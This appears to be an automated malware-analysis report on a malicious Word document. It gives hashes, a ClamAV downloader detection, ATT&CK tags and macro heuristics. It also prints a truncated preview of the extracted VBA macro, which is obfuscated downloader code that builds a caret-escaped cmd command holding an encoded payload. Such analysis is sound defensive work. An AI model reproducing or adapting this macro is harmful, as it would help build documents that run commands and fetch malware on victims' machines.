Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d150766bcdca9444…

MALICIOUS

Office (OLE)

85.5 KB Created: 2018-08-27 18:24:00 Authoring application: Microsoft Office Word First seen: 2020-08-10
MD5: 18960f1c6bb954b6ddb99072930a2915 SHA-1: 8860d44164592064a9040a9fbbd42e752c39c50c SHA-256: d150766bcdca94444c5322c8d9f841620fd7af3837e1972fb236ada2b207b623
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The AutoOpen macro is present and uses the Shell() function, which is a critical finding. This indicates the macro is designed to execute arbitrary commands, likely to download and execute a second-stage payload. The ClamAV detection name 'Doc.Downloader.Valyria-6665585-0' further supports its downloader functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.Valyria-6665585-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-6665585-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9760 bytes
SHA-256: 3ec07237170d3363d0cc66314b458acbeafc6672dea3cb5f4174eed32aafca0e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "hBfqbVnmID"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "RlVbNBNdqzcwzt"
Function hLFOip()
On Error Resume Next

On Error Resume Next

On Error Resume Next

On Error Resume Next

On Error Resume Next
Error uHZbj / KwuDB * 35401 * WTMKk
   Error 73083 * lQzPmT / 16653 / sKntu
   Error pbtQV / 41219 / YbTBi * 75306
   Error 74354 * ibXVS * XKhIiJ / HXNJF
iXcBE = "m" + "d /V^:^" + "oN /" + "r  " + Chr(3 + 2 + 0 + 3 + 26) + "^Se" + "^T ^  ^" + " ^J" + "^e^4" + "=^A^AC^" + "Ag" + "A^AI^A"
Error 45476 * YPwzA
   Error 95183 * JEfAPj * 3813 / NinlM
   Error DMkBi * 66407
   Error MzaPmU / GzNEzZ * ArqLEs * mjrQNs
CNLGFjBajso = "^AC^A^g" + "A" + "A" + "^IA" + "^ACA^g" + "^AA^" + "IAACA" + "^" + "g^AA^I^" + "A^AC" + "A^g" + "A^A^I^"
Error jwZba / UObUCL * 94905 * ZwTQw
   Error wdiXTD / RPlccq / HwziX * FnvlE
   Error 22207 / UPNmuY * hsStp / SpJCp
tzYaXrqD = "A^AC^" + "A^gAQ" + "^f" + "A0^H" + "^A^7BA" + "^" + "aA^M^" + "GA0BQ^" + "Y"
Error FdCAd * 19944
   Error 62584 / vTaWfq
LDnhInRT = "A^M^G^A" + "9^BwO" + "As^GA" + "hBQZAI" + "^H" + "AiB^w^O" + "As^EA^u" + "^B^" + "wdA^Q" + "C^" + "A^gA^Q" + "^b^"
Error 50480 / CsTuM * 47138 * UEXNQn
   Error vDubjR / zGGJN
waGYMDFJt = "AU^G^A" + "^" + "0^B^Q^S" + "^" + "A0C" + "^" + "A" + "lBwa"
hLFOip = iXcBE + CNLGFjBajso + tzYaXrqD + LDnhInRT + waGYMDFJt
   Error 59837 * PwaEmz * 24496 / SZYkS
End Function
Function tIiici()
On Error Resume Next

On Error Resume Next

On Error Resume Next

On Error Resume Next

On Error Resume Next

On Error Resume Next
Error 88523 * TkmOQN * 76904 * 12408
   Error 51305 * DjpEV * UsRbN * NzzQtG
UaitdNsbEWF = "^A" + "8G^A2" + "Bg^b" + "Ak^" + "EA^" + "7^A"
Error mjlOn * JkdcSw * 30772 / vSMbhE
   Error SusUS * wZYPt * llBXX / lXbtN
   Error ocWVzu / BwjHIE / jCBis / bjUkzC
   Error mYLEA / HmVuE
AzTwfm = "^Q^K^A" + "^sEA^" + "u^B" + "^wdA^" + "QCA" + "gA" + "A^LA" + "^sE^AL" + "^B^g^S^" + "A^Q" + "CAo^" + "AQZA^"
Error 51907 * YTHODj
   Error 71721 / dqHYt
   Error JRkOX / OzYTO * YhplhA * iRqAp
URuJCfJwLM = "wGAp" + "BgRA^" + "QGA^hB" + "wbA^w" + "^G^" + "AuB" + "^w^d" + "^A^" + "8^G^A^" + "E^B^g" + "LA^" + "E^FA" + "^UB"
Error 18408 * 99844
   Error 7814 / cKhSl
   Error EQGinp * ElzWdX
   Error nErdW / DODvSQ
wMvzKdEW = "g" + "eAQC" + "^A" + "7B^Q^e" + "^A" + "^" + "I^" + "HA0" + "^B^w^e^"
Error 28200 / Schoop
   Error cElLWz * IqaaX * mauZi * mklUF
VdfKU = "A" + "^k" + "C" + "^Ar^Bge" + "Ag^F^A"
Error jMqjm / GBLHrk
   Error Fjppi / 74543
   Error 48092 / WhQznc
   Error HCnfIl / 72266 / qXBKDz * pwIdl
jiJci = "k^A^" + "A^IA4GA" + "^" + "p" + "B^A^" + "IA^sE" + "ALB^g^" + "SA^Q" + "CAoA" + "^AaAMG"
Error hcpIt / KiGvG * zEqTC * ClANGa
   Error oDdZN / HTFiz
   Error 90166 / opYCmj * BMAZtJ * oiHWUP
vYujbuiAGDj = "^A^hB" + "QZA" + "I^" + "HAvBg^Z" + "^A^s^DA"
Error 28991 / wpWtht
   Error 420 / jwkRU
   Error 46817 / 21168
VRRnnZzwd = "nAQZ" + "Ag" + "^H^" + "Al^Bg^L" + "Ac" + "CAr" + "Age^A" + "cF" + "AZ^B^AJ"
tIiici = UaitdNsbEWF + AzTwfm + URuJCfJwLM + wMvzKdEW + VdfKU + jiJci + vYujbuiAGDj + VRRnnZzwd
   Error SpwVj / kovTXv
   Error dFtrL / wDCiaX
End Function
Function tYfomkMuU()
On Error Resume Next

On Error Resume Next

On Error Resume Next

On Error Resume Next
Error pWnipK * TQikBG
   Error 22174 / TOwELa
   Error 76686 * YiCsFp
UfaziE = "AsCAn" + "^AA" + "XA" + "cC" + "Ar^A^" + "w^Y^"
Error ZFbEZ / ooXUOf
   Error 67937 / zonEP
hEMsLvQQww = "A^kGA" + "sB^gY" + "A^U" + "^HA^" + "wB^gOAY" + "H^Au" + "^B^Q^Z" + "AQC^A"
Error 29905 / iOJvbC
   Error wotEA * kdOuw * WtCUOi * 8257
   Error jiVuY / wilKti / 19355 / UKfZj
   Error oAfpAm / dQUqf * 80571 / vjlzRj
   Error 68231 / cYpKm * btpPw / lrXaf
DPpOWrlHmV = "9Aw^S^A" + "^4^GA3^" + "B^AJ^" + "A^s^D" + "A" + "nA^g" + "M^" + "Ak^DA^2" + "A^wJ^A" + "A
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.